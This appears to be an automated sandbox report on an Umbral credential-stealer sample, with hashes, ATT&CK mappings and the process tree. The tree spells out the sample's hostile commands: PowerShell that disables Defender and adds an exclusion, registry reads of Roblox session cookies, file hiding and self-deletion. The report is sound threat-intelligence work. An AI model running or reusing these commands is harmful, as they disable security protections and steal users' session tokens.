umbral | b176f79057adf0432e8cedb42d0d2ec44ac772da03a629bd97f4febf0cb7347d

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-09-2024 04:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Umbral.exe
Size

232KB
MD5

0a1a80122976fd1b62cd01889535b700
SHA1

e14b2b77529495b62f54d4ca7828acba8e3e5788
SHA256

b176f79057adf0432e8cedb42d0d2ec44ac772da03a629bd97f4febf0cb7347d
SHA512

4e9ef98911a2131681e5acf23ca1d679455374f905eb54e05f70b48d7c59098f7a6048fc89f5afdcd4570d047341490a75ceed4fd9e787f7eb18167f214d63a9
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD42L57aMS1NmPzus9x4XNb8e1mVW3i:DoZtL+EP82L57aMS1NmPzus9x49G

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2636-1-0x0000000000C80000-0x0000000000CC0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe
2324	powershell.exe
2360	powershell.exe
2644	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Deletes itself 1 IoCs

pid	Process
1620	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1620	cmd.exe
1628	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2088	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1628	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2636	Umbral.exe
2644	powershell.exe
1996	powershell.exe
2324	powershell.exe
1252	powershell.exe
2360	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2636	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2788	wmic.exe
Token: SeSecurityPrivilege	2788	wmic.exe
Token: SeTakeOwnershipPrivilege	2788	wmic.exe
Token: SeLoadDriverPrivilege	2788	wmic.exe
Token: SeSystemProfilePrivilege	2788	wmic.exe
Token: SeSystemtimePrivilege	2788	wmic.exe
Token: SeProfSingleProcessPrivilege	2788	wmic.exe
Token: SeIncBasePriorityPrivilege	2788	wmic.exe
Token: SeCreatePagefilePrivilege	2788	wmic.exe
Token: SeBackupPrivilege	2788	wmic.exe
Token: SeRestorePrivilege	2788	wmic.exe
Token: SeShutdownPrivilege	2788	wmic.exe
Token: SeDebugPrivilege	2788	wmic.exe
Token: SeSystemEnvironmentPrivilege	2788	wmic.exe
Token: SeRemoteShutdownPrivilege	2788	wmic.exe
Token: SeUndockPrivilege	2788	wmic.exe
Token: SeManageVolumePrivilege	2788	wmic.exe
Token: 33	2788	wmic.exe
Token: 34	2788	wmic.exe
Token: 35	2788	wmic.exe
Token: SeIncreaseQuotaPrivilege	2788	wmic.exe
Token: SeSecurityPrivilege	2788	wmic.exe
Token: SeTakeOwnershipPrivilege	2788	wmic.exe
Token: SeLoadDriverPrivilege	2788	wmic.exe
Token: SeSystemProfilePrivilege	2788	wmic.exe
Token: SeSystemtimePrivilege	2788	wmic.exe
Token: SeProfSingleProcessPrivilege	2788	wmic.exe
Token: SeIncBasePriorityPrivilege	2788	wmic.exe
Token: SeCreatePagefilePrivilege	2788	wmic.exe
Token: SeBackupPrivilege	2788	wmic.exe
Token: SeRestorePrivilege	2788	wmic.exe
Token: SeShutdownPrivilege	2788	wmic.exe
Token: SeDebugPrivilege	2788	wmic.exe
Token: SeSystemEnvironmentPrivilege	2788	wmic.exe
Token: SeRemoteShutdownPrivilege	2788	wmic.exe
Token: SeUndockPrivilege	2788	wmic.exe
Token: SeManageVolumePrivilege	2788	wmic.exe
Token: 33	2788	wmic.exe
Token: 34	2788	wmic.exe
Token: 35	2788	wmic.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeIncreaseQuotaPrivilege	1624	wmic.exe
Token: SeSecurityPrivilege	1624	wmic.exe
Token: SeTakeOwnershipPrivilege	1624	wmic.exe
Token: SeLoadDriverPrivilege	1624	wmic.exe
Token: SeSystemProfilePrivilege	1624	wmic.exe
Token: SeSystemtimePrivilege	1624	wmic.exe
Token: SeProfSingleProcessPrivilege	1624	wmic.exe
Token: SeIncBasePriorityPrivilege	1624	wmic.exe
Token: SeCreatePagefilePrivilege	1624	wmic.exe
Token: SeBackupPrivilege	1624	wmic.exe
Token: SeRestorePrivilege	1624	wmic.exe
Token: SeShutdownPrivilege	1624	wmic.exe
Token: SeDebugPrivilege	1624	wmic.exe
Token: SeSystemEnvironmentPrivilege	1624	wmic.exe
Token: SeRemoteShutdownPrivilege	1624	wmic.exe
Token: SeUndockPrivilege	1624	wmic.exe
Token: SeManageVolumePrivilege	1624	wmic.exe
Token: 33	1624	wmic.exe
Token: 34	1624	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2788	2636	Umbral.exe	30
PID 2636 wrote to memory of 2788	2636	Umbral.exe	30
PID 2636 wrote to memory of 2788	2636	Umbral.exe	30
PID 2636 wrote to memory of 2348	2636	Umbral.exe	33
PID 2636 wrote to memory of 2348	2636	Umbral.exe	33
PID 2636 wrote to memory of 2348	2636	Umbral.exe	33
PID 2636 wrote to memory of 2644	2636	Umbral.exe	35
PID 2636 wrote to memory of 2644	2636	Umbral.exe	35
PID 2636 wrote to memory of 2644	2636	Umbral.exe	35
PID 2636 wrote to memory of 1996	2636	Umbral.exe	37
PID 2636 wrote to memory of 1996	2636	Umbral.exe	37
PID 2636 wrote to memory of 1996	2636	Umbral.exe	37
PID 2636 wrote to memory of 2324	2636	Umbral.exe	39
PID 2636 wrote to memory of 2324	2636	Umbral.exe	39
PID 2636 wrote to memory of 2324	2636	Umbral.exe	39
PID 2636 wrote to memory of 1252	2636	Umbral.exe	41
PID 2636 wrote to memory of 1252	2636	Umbral.exe	41
PID 2636 wrote to memory of 1252	2636	Umbral.exe	41
PID 2636 wrote to memory of 1624	2636	Umbral.exe	43
PID 2636 wrote to memory of 1624	2636	Umbral.exe	43
PID 2636 wrote to memory of 1624	2636	Umbral.exe	43
PID 2636 wrote to memory of 1904	2636	Umbral.exe	45
PID 2636 wrote to memory of 1904	2636	Umbral.exe	45
PID 2636 wrote to memory of 1904	2636	Umbral.exe	45
PID 2636 wrote to memory of 2188	2636	Umbral.exe	47
PID 2636 wrote to memory of 2188	2636	Umbral.exe	47
PID 2636 wrote to memory of 2188	2636	Umbral.exe	47
PID 2636 wrote to memory of 2360	2636	Umbral.exe	49
PID 2636 wrote to memory of 2360	2636	Umbral.exe	49
PID 2636 wrote to memory of 2360	2636	Umbral.exe	49
PID 2636 wrote to memory of 2088	2636	Umbral.exe	51
PID 2636 wrote to memory of 2088	2636	Umbral.exe	51
PID 2636 wrote to memory of 2088	2636	Umbral.exe	51
PID 2636 wrote to memory of 1620	2636	Umbral.exe	53
PID 2636 wrote to memory of 1620	2636	Umbral.exe	53
PID 2636 wrote to memory of 1620	2636	Umbral.exe	53
PID 1620 wrote to memory of 1628	1620	cmd.exe	55
PID 1620 wrote to memory of 1628	1620	cmd.exe	55
PID 1620 wrote to memory of 1628	1620	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2348	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1252
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1904
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2360
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2088
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8087306b10eee444903e4b5c0c345727

SHA1
4362ae1145f0f317bb9006f16200780ed280d517

SHA256
bfebe5070031a40e17219869d0f30b06e43edc403f6ceaafd3f3efd4f5a1988e

SHA512
90bc49dee42e181332a49ca4063e0b542aefbfc156d7b93aae0df824bd9cc49938d7dbd5bd1ce25b81e60d45722ef18538bfc9eac1af73d5908dc4ac4f3e20a6

Download Submit
memory/1996-15-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/1996-14-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2360-45-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2636-38-0x000007FEF54C3000-0x000007FEF54C4000-memory.dmp

Filesize
4KB

Download
memory/2636-2-0x000007FEF54C0000-0x000007FEF5EAC000-memory.dmp

Filesize
9.9MB

Download
memory/2636-0-0x000007FEF54C3000-0x000007FEF54C4000-memory.dmp

Filesize
4KB

Download
memory/2636-39-0x000007FEF54C0000-0x000007FEF5EAC000-memory.dmp

Filesize
9.9MB

Download
memory/2636-1-0x0000000000C80000-0x0000000000CC0000-memory.dmp

Filesize
256KB

Download
memory/2636-49-0x000007FEF54C0000-0x000007FEF5EAC000-memory.dmp

Filesize
9.9MB

Download
memory/2644-8-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2644-7-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download